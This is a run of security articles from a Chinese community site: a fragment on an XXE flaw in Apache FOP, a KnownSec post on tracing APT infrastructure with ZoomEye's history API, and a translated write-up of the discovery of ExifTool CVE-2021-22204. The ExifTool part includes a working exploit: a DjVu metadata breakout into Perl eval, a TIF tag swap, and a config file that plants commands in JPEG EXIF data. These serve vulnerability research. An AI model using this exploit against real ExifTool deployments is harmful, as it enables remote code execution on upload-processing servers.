因为 xml 文件是我们指定的，所以需要盯紧它，也就是在 render 中的 src 变量，如上图，传入了 transform 函数中，之前分析过
transformer 是啥类型的，跟过去
（截取部分代码）
@Override
public void transform(Source source, Result result)
throws TransformerException
{
if (!_isIdentity) {
if (_translet == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.JAXP_NO_TRANSLET_ERR);
throw new TransformerException(err.toString());
}
[.....]
transform(source, toHandler, _encoding);
[.....]
继续跟着 source 走，跟进 transform
第一个 if 的地方，首先 source 是 StreamSource 类型的，但是它并不为空，所以不满足条件，直接跳过
第二个 if ，是通过动态调试得知 _isIdentity 是为 false 的（其实这里的影响不大，因为都最终会造成 xxe）
跟进 getDOM
跟进 getDTM
由于代码太多，只截取片段
两个布尔型变量分别表示 是否为 SAXSource ，是否为 StreamSource 类型，我们已知是 StreamSource 所以会进入下面的 if
判断中，并且获得了 XMLReader
如上图，在后续的流程中，并未采取一些防护措施，最终导致了 xxe
### 测试
首先让程序跑起来，有很多点。它自己有一个客户端，命令行形式的，然后我又找到一个用来展示其用法的实例
指定好路径就行
payload.xml 里是这样的
效果如下：
资料来源：
漏洞信息：<https://www.securityfocus.com/bid/97947>
FOP的简单使用：<http://blog.csdn.net/youjianbo_han_87/article/details/2564642> | 社区文章 |
**Author: Heige(a.k.a Superhei) of KnownSec 404 Team
Date: May 25,2020**
**Chinese version:<https://paper.seebug.org/1219/>**
We had released ZoomEye’s historical data API query interface in ZoomEye 2020
that had launched in January this year:
<https://medium.com/@80vul/zoomeye-2020-has-started-8414d6aaf38>. Next, I will
introduce some examples of using ZoomEye History API to capture the traces of
APT team attacks.
Instructions for using the historical query API interface:
<https://www.zoomeye.org/doc#history-ip-search> ,Of course we have also
updated our ZoomEye SDK support history api:
<https://github.com/knownsec/ZoomEye>.
Before the cases are explained, I must explain the ZoomEye online data update
mode again: it is the overwrite update mode. Many malware teams, including
many apt teams, will abandon the C2 server immediately after it is discovered.
So this also causes the data on ZoomEye to be cached without being updated and
overwritten.
## The first case is about Darkhotel APT group
I have already mentioned it in this[
tweet](https://twitter.com/80vul/status/1262295955526713344 " tweet"), of
course, here needs to explain a "bug" in this tweet ,Although this “bug” has
nothing to do with the issue discussed today : The vulnerability used in this
attack should be CVE-2019-1367 instead of CVE-2020-0674 (Here we need to thank
the friends who discussed together)
In this Darkhotel attack, they attacked the ip website service and implanted
ie 0day to carry out Watering Hole attack. So we queried all historical data
of this IP on ZoomEye:
╭─heige@404Team ~
╰─$python
Python 2.7.16 (default, Mar 15 2019, 21:13:51)
[GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
import zoomeye
zm = zoomeye.ZoomEye(username="xxxxx", password="xxxx")
zm.login()
u'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX...'
data = zm.history_ip("202.x.x.x")
22
List all scan time records and ports about this IP
...
>>> for i in data['data']:
... print(i['timestamp'],i['portinfo']['port'])
...
(u'2020-01-28T10:58:02', 80)
(u'2020-01-05T18:33:17', 80)
(u'2019-11-25T05:27:58', 80)
(u'2019-11-02T16:10:40', 80)
(u'2019-10-31T11:39:02', 80)
(u'2019-10-06T05:24:44', 80)
(u'2019-08-02T09:52:27', 80)
(u'2019-07-27T19:22:11', 80)
(u'2019-05-18T10:38:59', 8181)
(u'2019-05-02T19:37:20', 8181)
(u'2019-05-01T00:48:05', 8009)
(u'2019-04-09T16:29:58', 8181)
(u'2019-03-24T20:46:31', 8181)
(u'2018-05-18T18:22:21', 137)
(u'2018-02-22T20:50:01', 8181)
(u'2017-03-13T03:11:39', 8181)
(u'2017-03-12T16:43:54', 8181)
(u'2017-02-25T09:56:28', 137)
(u'2016-11-01T00:22:30', 137)
(u'2015-12-30T22:53:17', 8181)
(u'2015-03-13T20:17:45', 8080)
(u'2015-03-13T19:33:15', 21)
Query the time and port of the IE 0day implanted into the Watering Hole attack
:
>>> for i in data['data']:
... if "164.js" in i['raw_data']:
... print(i['timestamp'],i['portinfo']['port'])
...
(u'2020-01-28T10:58:02', 80)
(u'2020-01-05T18:33:17', 80)
(u'2019-11-25T05:27:58', 80)
(u'2019-11-02T16:10:40', 80)
(u'2019-10-31T11:39:02', 80)
(u'2019-10-06T05:24:44', 80)
It turned out that this Watering Hole attack continued from at least
'2019-10-06 05:24:44' to '2020-01-28 10:58:02' , This also shows that
Darkhotel APT group attacked this IP website as early as 2019-10-06.
We continue to analyze the port service of this IP in 2019 :
>>> for i in data['data']:
... if "2019" in i['timestamp']:
... print(i['timestamp'],i['portinfo']['port'],i['portinfo']['service'],i['portinfo']['product'])
...
(u'2019-11-25T05:27:58', 80, u'http', u'nginx')
(u'2019-11-02T16:10:40', 80, u'http', u'nginx')
(u'2019-10-31T11:39:02', 80, u'http', u'nginx')
(u'2019-10-06T05:24:44', 80, u'http', u'nginx')
(u'2019-08-02T09:52:27', 80, u'http', u'nginx')
(u'2019-07-27T19:22:11', 80, u'http', u'nginx')
(u'2019-05-18T10:38:59', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')
(u'2019-05-02T19:37:20', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')
(u'2019-05-01T00:48:05', 8009, u'ajp13', u'Apache Jserv')
(u'2019-04-09T16:29:58', 8181, u'http', u'Apache httpd')
(u'2019-03-24T20:46:31', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')
Very typical Tomcat-based JSP operating environment, and once opened 8009 ajp
port. Many attack events prove that tomcat manages weak passwords, security
vulnerabilities and other issues, making security very vulnerable,Perhaps this
is also the method used in this attack.
## The second case is about APT-C-01(a.k.a Green Spot)
Qi An Xin Threat Intelligence Center released a detailed analysis report on
APT-C-01 in 2018:
<https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-vine-climbing-over-great-firewall-longterm-attack-against-china/> (En)
<https://ti.qianxin.com/uploads/2018/09/20/6f8ad451646c9eda1f75c5d31f39f668.pdf>(Ch)
"The loader program will first try to connect to a common URL to check network
connectivity. If there is no connection, it will try to connect every five
seconds until the network is connected. Then it downloads the payload from
`hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp`"
We put our focus on the payload download URL
`hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp>`,Through the ping command,
we can no longer find the IP address of this domain name resolution :
─heige@404Team ~
╰─$ping updateinfo.servegame.org
ping: cannot resolve updateinfo.servegame.org: Unknown host
From the Chinese version of the report, we see a screenshot that shows that
can opendir
This means we can find the target by searching "tiny1detvghrt.tmp" on ZoomEye
,Very lucky we found it :
Once again, after the APT attack was discovered, these IPs were directly
abandoned.
We get the IP(165.227.220.223) of the domain(`updateinfo.servegame.org`) name
and continue to query the historical records through the ZoomEye history api
interface
>>> data = zm.history_ip("165.227.220.223")
>>> 9
>>> for i in data['data']:
... print(i['timestamp'],i['portinfo']['port'])
...
(u'2019-06-18T19:02:22', 22)
(u'2018-09-02T08:13:58', 22)
(u'2018-07-31T05:58:44', 22)
(u'2018-05-20T00:55:48', 80)
(u'2018-05-16T20:42:35', 22)
(u'2018-04-08T07:53:00', 80)
(u'2018-02-22T19:04:29', 22)
(u'2017-11-21T19:09:14', 80)
(u'2017-10-04T05:17:38', 80)
Let's look at the time interval for tiny1detvghrt.tmp deployment : from at
least '2017-11-21 19:09:14' to '2018-05-20 00:55:48'
>>> for i in data['data']:
... if "tiny1detvghrt.tmp" in i['raw_data']:
... print(i['timestamp'],i['portinfo']['port'])
...
(u'2018-05-20T00:55:48', 80)
(u'2018-04-08T07:53:00', 80)
(u'2017-11-21T19:09:14', 80)
Let's look at the time node before `tiny1detvghrt.tmp` deployment: 2017-10-04
05:17:38
>>> for i in data['data']:
... if "2017-10-04" in i['timestamp']:
... print(i['raw_data'])
...
HTTP/1.1 200 OK
Date: Tue, 03 Oct 2017 21:17:37 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 1757
Connection: close
Content-Type: text/html;charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<table>
<tr><th valign="top">< img src="/icons/blank.gif" alt="[ICO]"></th><th>< a href=" ">Name</ a></th><th>< a href="?C=M;O=A">Last modified</ a></th><th>< a href="?C=S;O=A">Size</ a></th><th>< a href="?C=D;O=A">Description</ a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp">doajksdlfsadk.tmp</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp.1">doajksdlfsadk.tmp.1</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlrfadk.tmp">doajksdlrfadk.tmp</ a></td><td align="right">2017-09-27 06:36 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="dvhrksdlfsadk.tmp">dvhrksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:38 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="vfajksdlfsadk.tmp">vfajksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:37 </td><td align="right">4.9K</td><td> </td></tr>
<tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="wget-log">wget-log</ a></td><td align="right">2017-09-20 07:24 </td><td align="right">572 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
</body></html>
From the file naming method and file size, it can be inferred that this time
node, the attacker should be a drill before the attack.
## Final summary
The cyberspace search engine is very useful in the tracking of cyberattack
threats by using active detection methods. It rechecks the attacker's attack
methods, purposes, and processes through the timeline of historical records.
Finally, I would like to thank all the friends who support ZoomEye. As the
world's leading search engine for cyberspace mapping, ZoomEye has been working
hard!
* * * | 社区文章 |
本文描述了作者从开始到发现CVE-2021-22204的完整过程。
-> [原文链接](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html "原文链接")
* * *
## 背景
最近在Hackerone上察看一个我最喜欢的[漏洞赏金项目](https://hackerone.com/gitlab?type=team
"漏洞赏金项目")时，我发现他们正在使用ExifTool对上传的图片进行过滤。我曾多次使用ExifTool，但从未深入探究其原理，甚至不知道它是用什么语言编写的。在这个赏金项目里，他们使用了旧版本的ExifTool(11.70)，虽然解析文件格式很难，但我想也许存在一些现有的CVE可以拿来使用。
在快速搜索后，我只找到一个2018年的旧CVE，因此我决定还是审计它的源代码。ExifTool是使用Perl写的，我之前从未审计过Perl，但它作为一种动态脚本语言，大部分的通用概念我都很熟悉。
我一开始想要寻找那些执行文件访问的地方，但并未获得成果，接着我开始搜索`eval`，发现它被大量使用：
在Perl中，`eval`有两种使用方式，`eval BLOCK`和`eval EXPR`，这就是它被大量使用的原因。忽略所有的`eval
BLOCK`后，我从剩下的结果中发现了一些有趣的东西，其中一个位于`DjVu`模块的`ParseAnt`方法中，我不知道`DjVu`文件是什么，但`ParseAnt`方法的注释写得非常详细。包含`eval`的代码块如下：
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
当匹配到一个引号时，它将建立一个字符串，直到找到另一个引号(包括使用反斜杠转义的引号)。然后通过正则来转义特殊字符，转义后的值将传递给`qq`，最终到达`eval`。从注释中可以得知，这么做的原因是为了支持C语言的转义序列，我想这在Perl中也是类似的。被转义的特殊字符是为了防止在`eval`运行时出现字符串篡改或是打破双引号的闭合。
为了进行一些尝试，我希望能够通过一张图片触发`ParseAnt`方法。我发现了一个DjVu.djvu图像的样例，但不幸的是，它使用了压缩版的块`ANTz`而不是文本`ANTa`。
在十六进制编辑器中查看该文件，格式看上去似乎相当简单。在字符串`DJVIANTz`后面是十六进制的`000002E0`，它很可能是标签的长度，因为这与文件中剩余的字节数相对应。我在`ProcessAnt`方法中加入了`print($dataPt);`，然后在djvu图像上运行了exiftool，打印结果如下：
(metadata
(Author "Phil Harvey")
(Title "DjVu Metadata Sample")
(Subject "ExifTool DjVu test image")
(Creator "ExifTool")
(CreationDate "2008-09-23T12:31:34-04:00")
(ModDate "2008-11-11T09:17:10-05:00")
(Keywords "ExifTool, Test, DjVu, XMP")
(Producer "djvused")
(note "Must escape double quotes (\") and backslashes (\\)")
(Trapped "Unknown")
(annote "Did you get this?")
(url "https://exiftool.org/") )
(xmp "<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>\n\n <rdf:Description rdf:about=''\n xmlns:album=\"http://ns.adobe.com/album/1.0/\">\n <album:Notes>Must escape double quotes (") and backslashes (\\)</album:Notes>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n xmlns:dc='http://purl.org/dc/elements/1.1/'>\n <dc:creator>\n <rdf:Seq>\n <rdf:li>Phil Harvey</rdf:li>\n </rdf:Seq>\n </dc:creator>\n <dc:description>\n <rdf:Alt>\n <rdf:li xml:lang='x-default'>ExifTool DjVu test image</rdf:li>\n </rdf:Alt>\n </dc:description>\n <dc:rights>\n <rdf:Alt>\n <rdf:li xml:lang='x-default'>Copyright 2008 Phil Harvey</rdf:li>\n </rdf:Alt>\n </dc:rights>\n <dc:subject>\n <rdf:Bag>\n <rdf:li>ExifTool</rdf:li>\n <rdf:li>Test</rdf:li>\n <rdf:li>DjVu</rdf:li>\n <rdf:li>XMP</rdf:li>\n </rdf:Bag>\n </dc:subject>\n <dc:title>\n <rdf:Alt>\n <rdf:li xml:lang='x-default'>DjVu Metadata Sample</rdf:li>\n </rdf:Alt>\n </dc:title>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>\n <pdf:Keywords>ExifTool, Test, DjVu, XMP</pdf:Keywords>\n <pdf:Producer>djvused</pdf:Producer>\n <pdf:Trapped>/Unknown</pdf:Trapped>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n xmlns:xmp='http://ns.adobe.com/xap/1.0/'>\n <xmp:CreateDate>2008-09-23T12:31:34-04:00</xmp:CreateDate>\n <xmp:CreatorTool>ExifTool</xmp:CreatorTool>\n <xmp:ModifyDate>2008-11-11T09:17:10-05:00</xmp:ModifyDate>\n </rdf:Description>\n</rdf:RDF>")
<snip>
Author : Phil Harvey
Create Date : 2008:09:23 12:31:34-04:00
Modify Date : 2008:11:11 09:17:10-05:00
Keywords : ExifTool, Test, DjVu, XMP
所以元数据的格式似乎是以`metadata`开始，后面是标签名称和带引号的值。我编辑了文件，用`DJVIANTa\x00\x00\x00!(metadata
(Author "Phil Harvey"))`替换了`DJVIANTz...`，然后重新运行exiftool，作者标签正确显示。
## 发现漏洞
现在我有了一个可以快速测试不同组合的方法，在每次修改`$tok`时，都通过添加更多的`print`来显示。我在测试其中一个组合时，出现了以下错误：
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
我使用了一个反斜线，后面是一个换行符，然后是一个双引号，导致其难以被`eval`：
第二个引号没有被转义，因为在正则`$tok =~
/(\\+)$/`中，`$`会匹配字符串的结尾，但也会在字符串结尾的换行前进行匹配，所以代码在转义换行符时认为引号被转义了。
这相当令人激动，因为只要让它成为有效的Perl代码，就能够被`eval`执行。我对元数据进行了修改，注释掉了尾部的引号并执行和返回`date`：
接着在这之上运行exiftool就会导致代码执行：
## 更多格式
通过传递一个未知的文件给ExifTool来造成代码执行是非常惊人的，但如果能用一个更常见格式的有效图像来触发这个漏洞就更好了。这样一来，即使在传递给ExifTool之前对图片进行了一些验证（例如确保它是png或jpeg），漏洞仍然有效。
我开始寻找是否有其他东西使用`DjVu`模块，但它只被`AIFF`模块所引用，没有其他格式引用该模块。我记得ExifTool可以用来嵌入和提取jpeg缩略图，但看`ThumbnailImage`的使用情况，它似乎没有尝试解析嵌入的图像，这导致我去寻找能够解析图像元数据的函数：
#------------------------------------------------------------------------------ # Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
有趣的是，注释中提到如果制定了`ReEntry`选项，这就可以被递归调用。通过查看`ExtratInfo`的使用情况，我找到了`Exif`模块：
%Image::ExifTool::Exif::Main = (
# SNIP
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
因此，如果找到了EXIF标签`0xc51b`，这个值就会被传递给`ExtractInfo`，元数据就会被解析，从而使DjVu的漏洞被触发。Exif模块顶部的描述是`Read
EXIF/TIFF meta information`，所以我开始阅读TIFF格式。
在测试文件中有一个样本tif，运行exiftools时指定参数`-v10`：
exiftool -v10 ./t/images/ExifTool.tif
ExifToolVersion = 11.85
FileName = ExifTool.tif
Directory = ./t/images
FileSize = 4864
FileModifyDate = 1618544560
FileAccessDate = 1618544564
FileInodeChangeDate = 1618974185
FilePermissions = 33188
FileType = TIFF
FileTypeExtension = TIF
MIMEType = image/tiff
ExifByteOrder = MM
+ [IFD0 directory with 22 entries]
| 0) SubfileType = 0
| - Tag 0x00fe (4 bytes, int32u[1]):
| 0012: 00 00 00 00 [....]
| 1) ImageWidth = 160
| - Tag 0x0100 (4 bytes, int32u[1]):
| 001e: 00 00 00 a0 [....]
| 2) ImageHeight = 120
| - Tag 0x0101 (4 bytes, int32u[1]):
| 002a: 00 00 00 78 [...x]
| 3) BitsPerSample = 8 8 8
| - Tag 0x0102 (6 bytes, int16u[3]):
| 0116: 00 08 00 08 00 08 [......]
| 4) Compression = 5
| - Tag 0x0103 (2 bytes, int16u[1]):
| 0042: 00 05 [..]
| 5) PhotometricInterpretation = 2
| - Tag 0x0106 (2 bytes, int16u[1]):
| 004e: 00 02 [..]
| 6) ImageDescription = The picture caption
| - Tag 0x010e (20 bytes, string[20]):
| 011c: 54 68 65 20 70 69 63 74 75 72 65 20 63 61 70 74 [The picture capt]
| 012c: 69 6f 6e 00 [ion.]
| 7) Make = Canon
| - Tag 0x010f (6 bytes, string[6]):
| 0130: 43 61 6e 6f 6e 00 [Canon.]
| 8) Model = Canon EOS DIGITAL REBEL
| - Tag 0x0110 (24 bytes, string[24]):
| 0136: 43 61 6e 6f 6e 20 45 4f 53 20 44 49 47 49 54 41 [Canon EOS DIGITA]
| 0146: 4c 20 52 45 42 45 4c 00 [L REBEL.]
| 9) StripOffsets = 3816
| - Tag 0x0111 (4 bytes, int32u[1]):
| 007e: 00 00 0e e8 [....]
| 10) SamplesPerPixel = 3
| - Tag 0x0115 (2 bytes, int16u[1]):
| 008a: 00 03 [..]
| 11) RowsPerStrip = 120
| - Tag 0x0116 (4 bytes, int32u[1]):
| 0096: 00 00 00 78 [...x]
| 12) StripByteCounts = 1048
| - Tag 0x0117 (4 bytes, int32u[1]):
| 00a2: 00 00 04 18 [....]
| 13) XResolution = 180 (1800/10)
| - Tag 0x011a (8 bytes, rational64u[1]):
| 014e: 00 00 07 08 00 00 00 0a [........]
| 14) YResolution = 180 (1800/10)
| - Tag 0x011b (8 bytes, rational64u[1]):
| 0156: 00 00 07 08 00 00 00 0a [........]
| 15) PlanarConfiguration = 1
| - Tag 0x011c (2 bytes, int16u[1]):
| 00c6: 00 01 [..]
| 16) ResolutionUnit = 2
| - Tag 0x0128 (2 bytes, int16u[1]):
| 00d2: 00 02 [..]
| 17) Software = GraphicConverter
| - Tag 0x0131 (17 bytes, string[17]):
| 015e: 47 72 61 70 68 69 63 43 6f 6e 76 65 72 74 65 72 [GraphicConverter]
| 016e: 00 [.]
| 18) ModifyDate = 2004:02:20 08:07:49
| - Tag 0x0132 (20 bytes, string[20]):
| 0170: 32 30 30 34 3a 30 32 3a 32 30 20 30 38 3a 30 37 [2004:02:20 08:07]
| 0180: 3a 34 39 00 [:49.]
| 19) Predictor = 1
| - Tag 0x013d (2 bytes, int16u[1]):
| 00f6: 00 01 [..]
| 20) IPTC-NAA (SubDirectory) -->
| - Tag 0x83bb (284 bytes, int32u[71] read as undef[284]):
| 0184: 1c 02 00 00 02 00 02 1c 02 78 00 13 54 68 65 20 [.........x..The ]
| 0194: 70 69 63 74 75 72 65 20 63 61 70 74 69 6f 6e 1c [picture caption.]
| 01a4: 02 7a 00 0a 49 20 77 72 6f 74 65 20 69 74 1c 02 [.z..I wrote it..]
| 01b4: 28 00 0f 6e 6f 20 69 6e 73 74 72 75 63 74 69 6f [(..no instructio]
| 01c4: 6e 73 1c 02 50 00 0e 49 27 6d 20 74 68 65 20 61 [ns..P..I'm the a]
| 01d4: 75 74 68 6f 72 1c 02 55 00 06 4f 6e 20 74 6f 70 [uthor..U..On top]
| 01e4: 1c 02 6e 00 0b 50 68 69 6c 20 48 61 72 76 65 79 [..n..Phil Harvey]
| 01f4: 1c 02 73 00 09 4d 79 20 63 61 6d 65 72 61 1c 02 [..s..My camera..]
| 0204: 05 00 11 54 68 69 73 20 69 73 20 74 68 65 20 74 [...This is the t]
| 0214: 69 74 6c 65 1c 02 37 00 08 32 30 30 34 30 32 32 [itle..7..2004022]
| 0224: 30 1c 02 5a 00 08 4b 69 6e 67 73 74 6f 6e 1c 02 [0..Z..Kingston..]
| 0234: 5f 00 07 4f 6e 74 61 72 69 6f 1c 02 65 00 06 43 [_..Ontario..e..C]
| 0244: 61 6e 61 64 61 1c 02 67 00 0c 6e 6f 20 72 65 66 [anada..g..no ref]
| 0254: 65 72 65 6e 63 65 1c 02 19 00 08 65 78 69 66 74 [erence.....exift]
| 0264: 6f 6f 6c 1c 02 19 00 04 74 65 73 74 1c 02 19 00 [ool.....test....]
| 0274: 07 70 69 63 74 75 72 65 1c 02 74 00 10 43 6f 70 [.picture..t..Cop]
| 0284: 79 72 69 67 68 74 20 6e 6f 74 69 63 65 1c 02 69 [yright notice..i]
| 0294: 00 08 68 65 61 64 6c 69 6e 65 00 00 [..headline..]
| + [IPTC directory, 284 bytes]
...
在十六进制编辑器中打开文件，搜索标签ID`83BB`，发现有以下序列`83BB00040000004700000184`。参照格式文件，这应该与tif标签相匹配：
typedef struct _TifTag
{
WORD TagId; /* The tag identifier */
WORD DataType; /* The scalar type of the data items */
DWORD DataCount; /* The number of items in the tag data */
DWORD DataOffset; /* The byte offset to the data items */
} TIFTAG;
所以标签id是`0x83BB`，数据类型是`4`，计数是`0x47`（71），偏移量是`0x184`（388）。数据类型`4`是一个32位的无符号整数，这都符合详细输出所提供的信息。只需将`0x83BB`改为`0xC51B`，然后重新运行exiftool，它就能接收到`HasselbladExif`标签。然后我将整个标签值替换成一个简短的`PAYLOAD`，以触发`eval`：
$ exiftool -v10 ./t/images/ExifTool.tif
...
| 19) Predictor = 1
| - Tag 0x013d (2 bytes, int16u[1]):
| 00f6: 00 01 [..]
| 20) HasselbladExif = AT&TFORM.DJVUANTa..(metadata. (Author "\." . return `date`; #")
| - Tag 0xc51b (284 bytes, int32u[71] read as undef[284]):
| 0184: 41 54 26 54 46 4f 52 4d 00 00 00 08 44 4a 56 55 [AT&TFORM....DJVU]
| 0194: 41 4e 54 61 00 00 01 04 28 6d 65 74 61 64 61 74 [ANTa....(metadat]
| 01a4: 61 0a 20 20 20 20 28 41 75 74 68 6f 72 20 22 5c [a. (Author "\]
| 01b4: 0a 22 20 2e 20 72 65 74 75 72 6e 20 60 64 61 74 [." . return `dat]
| 01c4: 65 60 3b 20 23 22 29 20 20 20 20 20 20 20 20 20 [e`; #") ]
| 01d4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 01e4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 01f4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0204: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0214: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0224: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0234: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0244: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0254: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0264: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0274: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0284: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0294: 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| FileType = DJVU
| FileTypeExtension = DJVU
| MIMEType = image/vnd.djvu
AIFF 'ANTa' chunk (260 bytes of data): 24
| ANTa (SubDirectory) -->
| - Tag 'ANTa' (260 bytes):
| 0018: 28 6d 65 74 61 64 61 74 61 0a 20 20 20 20 28 41 [(metadata. (A]
| 0028: 75 74 68 6f 72 20 22 5c 0a 22 20 2e 20 72 65 74 [uthor "\." . ret]
| 0038: 75 72 6e 20 60 64 61 74 65 60 3b 20 23 22 29 20 [urn `date`; #") ]
| 0048: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0058: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0068: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0078: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0088: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0098: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 00a8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 00b8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 00c8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 00d8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 00e8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 00f8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0108: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [ ]
| 0118: 20 20 20 20 [ ]
| | Metadata (SubDirectory) -->
| | + [Metadata directory with 1 entries]
| | | Author = Thu 6 May 2021 21:06:17 AEST.
很好！现在可以从一个有效的TIF中触发`PAYLOAD`了，更重要的是，EXIF数据被用于许多其他格式：
EXIF stands for "Exchangeable Image File Format". This type of information
is formatted according to the TIFF specification, and may be found in JPG,
TIFF, PNG, JP2, PGF, MIFF, HDP, PSP and XCF images, as well as many
TIFF-based RAW images, and even some AVI and MOV videos.
如果有一个专门用于编辑图像元数据的工具，而不是每次都手动编辑文件，那就太好了。事实证明，ExifTool允许你使用`Image::ExifTool::UserDefined`的配置文件来创建自己的标签表。经过一段时间的试验，我有了下面这个`eval.config`文件：
%Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
0xc51b => {
Name => 'eval',
Binary => 1,
Writable => 'undef',
WriteGroup => 'IFD0',
ValueConvInv => sub {
use MIME::Base64;
my $val = shift;
$encoded = encode_base64($val);
my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
my $len = pack "N", length($meta);
my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
return $payload;
}
}
}
)
这能让我们在任何exiftool可以写入EXIF标签的格式（如jpg、tif、png）中添加`HasselbladExif`：
$ exiftool -config eval.config image.jpg -eval='system("echo ggg")'
$ exiftool image.jpg
$ exiftool image.jpg
ggg
ExifTool Version Number : 11.85
File Name : image.jpg
Directory : .
File Size : 11 kB
## 惊喜格式
任何使用标签表`Image::ExifTool::Exif::Main`，调用`ExtractInfo`，`ProcessTIFF`，`ProcessExif`或处理任何容易被攻击的格式时，很可能也能被利用。一个不完整的列表如下：
* ZIP - [lib/Image/ExifTool/ZIP.pm#L599-L600](https://github.com/exiftool/exiftool/blob/12.23/lib/Image/ExifTool/ZIP.pm#L599-L600 "lib/Image/ExifTool/ZIP.pm#L599-L600")
如果一个ZIP文件包含`meta.json`，那么它将有`ExtractInfo`被调用。
if ($extract{$file}) {
($buff, $status) = $zip->contents($member);
$status and $et->Warn("Error extracting $file"), next;
if ($file eq 'meta.json') {
$et->ExtractInfo(\$buff, { ReEntry => 1 });
if ($$et{VALUE}{App} and $$et{VALUE}{App} =~ /sketch/i) {
$et->OverrideFileType('SKETCH');
}
